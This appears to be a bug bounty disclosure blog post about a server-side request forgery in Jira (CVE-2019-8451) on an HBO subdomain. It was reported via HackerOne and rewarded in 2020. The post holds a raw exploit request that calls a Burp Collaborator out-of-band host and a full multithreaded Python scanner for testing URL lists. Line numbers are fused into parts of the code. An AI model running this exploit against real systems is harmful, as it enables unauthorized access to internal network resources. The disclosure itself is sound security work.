HBO -- [projects.hbo-la.com] Server Side Request Forgery (SSRF) at projects.hbo-la.com by exploiting [CVE-2019-8451]

 Company Information : 



Home Box Office is an American pay television network, which is the flagship property of namesake parent-subsidiary Home Box Office, Inc., itself a unit owned by Warner Bros. Discovery.


Bug Category : 

Network Security 

Recon 



Target  Information : 

projects.hbo-la.com



Technical Details of the Bug : 

While Searching for Jira host I discovered that projects.hbo-la.com domain is vulnerable to Server Side Request Forgery (SSRF) CVE-2019-8451.

Description

The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability due to a logic bug in the JiraWhitelist class.

Step to reproduce

Simply sending the request below then you will receive content of Out of band host.

POCs:

Issue the request below with pkdfbsp6wpvb35r05ti04zs9a0gq4f.burpcollaborator.net is your ping back server

Vulnerable HTTP request :

GET /confluence/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@pkdfbsp6wpvb35r05ti04zs9a0gq4f.burpcollaborator.net HTTP/1.1 2Host: projects.hbo-la.com 3Upgrade-Insecure-Requests: 1 4User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3920.0 Safari/537.36 5X-Atlassian-Token: no-check 6Connection: close 7


Or run Python POC with this command ./jira-cve-2019-8451.py -s pkdfbsp6wpvb35r05ti04zs9a0gq4f.burpcollaborator.net -u projects.hbo-la.com

Python Script :

#!/usr/bin/env python3 2import requests, binascii, optparse 3import urllib.parse 4from requests.packages.urllib3.exceptions import InsecureRequestWarning 5requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 6requests.packages.urllib3.disable_warnings() 7import os, sys 8import argparse 9from concurrent.futures import ThreadPoolExecutor, as_completed 10 11G = '\033[1;32m' # green 12W = '\033[1;0m' # white 13GR = '\033[1;37m' # gray 14 15def get_url(url, oob): 16 real_url = url.strip() 17 if real_url == '': 18 return False, False 19 parsed = urllib.parse.urlparse(real_url) 20 if parsed.netloc == '': 21 host = parsed.path 22 scheme = 'https' 23 else: 24 host = parsed.netloc 25 scheme = parsed.scheme 26 27 full_url = scheme + '://' + host + f"/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@{oob}" 28 29 return full_url, host 30 31 32def verify(url): 33 global headers, filename, output, using_curl, oob 34 url, host = get_url(url, oob) 35 if not url: 36 return 37 38 print(f"- Testing for: {url}") 39 40 headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3920.0 Safari/537.36", "X-Atlassian-Token": "no-check", "Connection": "close"} 41 42 r = sending(url) 43 if not r: 44 url = url.replace('/plugins/', '/jira/plugins/') 45 r = sending(url) 46 if not r: 47 url = url.replace('/plugins/', '/wiki/plugins/') 48 r = sending(url) 49 if not r: 50 url = url.replace('/plugins/', '/confluence/plugins/') 51 r = sending(url) 52 53 54def sending(url): 55 try: 56 r = requests.get(url, headers=headers, verify=False, allow_redirects=False) 57 if r.status_code == 200: 58 if '{"rc":403' not in r.text and '{"rc":200' in r.text: 59 print(f"{G}[+] {url} is vulnerable{GR}") 60 print(str(r.text)) 61 return True 62 except: 63 pass 64 return False 65 66 67 68parser = argparse.ArgumentParser(description="Pulse VPN check") 69parser.add_argument('-u', '--url', action='store', dest='url', help='url') 70parser.add_argument('-U', '--urls', action='store', dest='urls', help='url list') 71parser.add_argument('-f', '--filename', action='store', dest='filename', help='file to read', default='/etc/passwd') 72parser.add_argument('-o', '--output', action='store', dest='output', help='output folder', default='output') 73parser.add_argument('-s', '--ssrf', action='store', dest='ssrf', help='output folder') 74parser.add_argument('-w', '--workers', action='store', dest='workers', help='number of workers', default=20) 75args = parser.parse_args() 76 77if len(sys.argv) <= 1: 78 sys.exit('./jira-cve-2019-8451.py -u <your_url> -s <burpcollaborator>') 79 80filename = args.filename 81output = args.output 82workers = int(args.workers) 83 84if not args.ssrf: 85 sys.exit('need to specify your oob server: -s blabla.burpcollaborator.com') 86else: 87 oob = args.ssrf 88 89if not os.path.exists(args.output): 90 os.makedirs(args.output) 91 92if args.url: 93 verify(args.url) 94 95if args.urls: 96 processes = [] 97 98 print("[*] Testing list from: {0}".format(args.urls)) 99 url_list = [i.strip() for i in open(args.urls).readlines() if len(i) > 0] 100 101 with ThreadPoolExecutor(max_workers=int(workers)) as executor: 102 for url in url_list: 103 processes.append(executor.submit(verify, url)) 104 105 for task in as_completed(processes): 106 task.result()


Additional Details :

You can view the POC from attached images.

Reference

Mitigation

Update to latest version.

Impact

Attacker can abuse functionality on the server to read or update internal resources.


Timeline : 

Sep 27th 2019: Report send to HBO product Security Team through HackerOne.

Sep 28th 2019:Report Accepted and Triaged.

March 04th 2020 : Complete issue was resolved and confirmed.

March 04th 2020 : 300$ Bounty Rewarded

Comments

Popular posts from this blog

Account Takeover Apple App Store Connect Account of Any user and Steal Developer API/Subscription Keys of any user(CORS+XSS) worth 8500$

Amazon Web Services : Takeover Workbook and delete the Owner on https://builder.honeycode.aws by collaborator user (IDOR) worth 7200$

UnAuth Access to Twitter Private Tweets and messages Media Content Access(IDOR)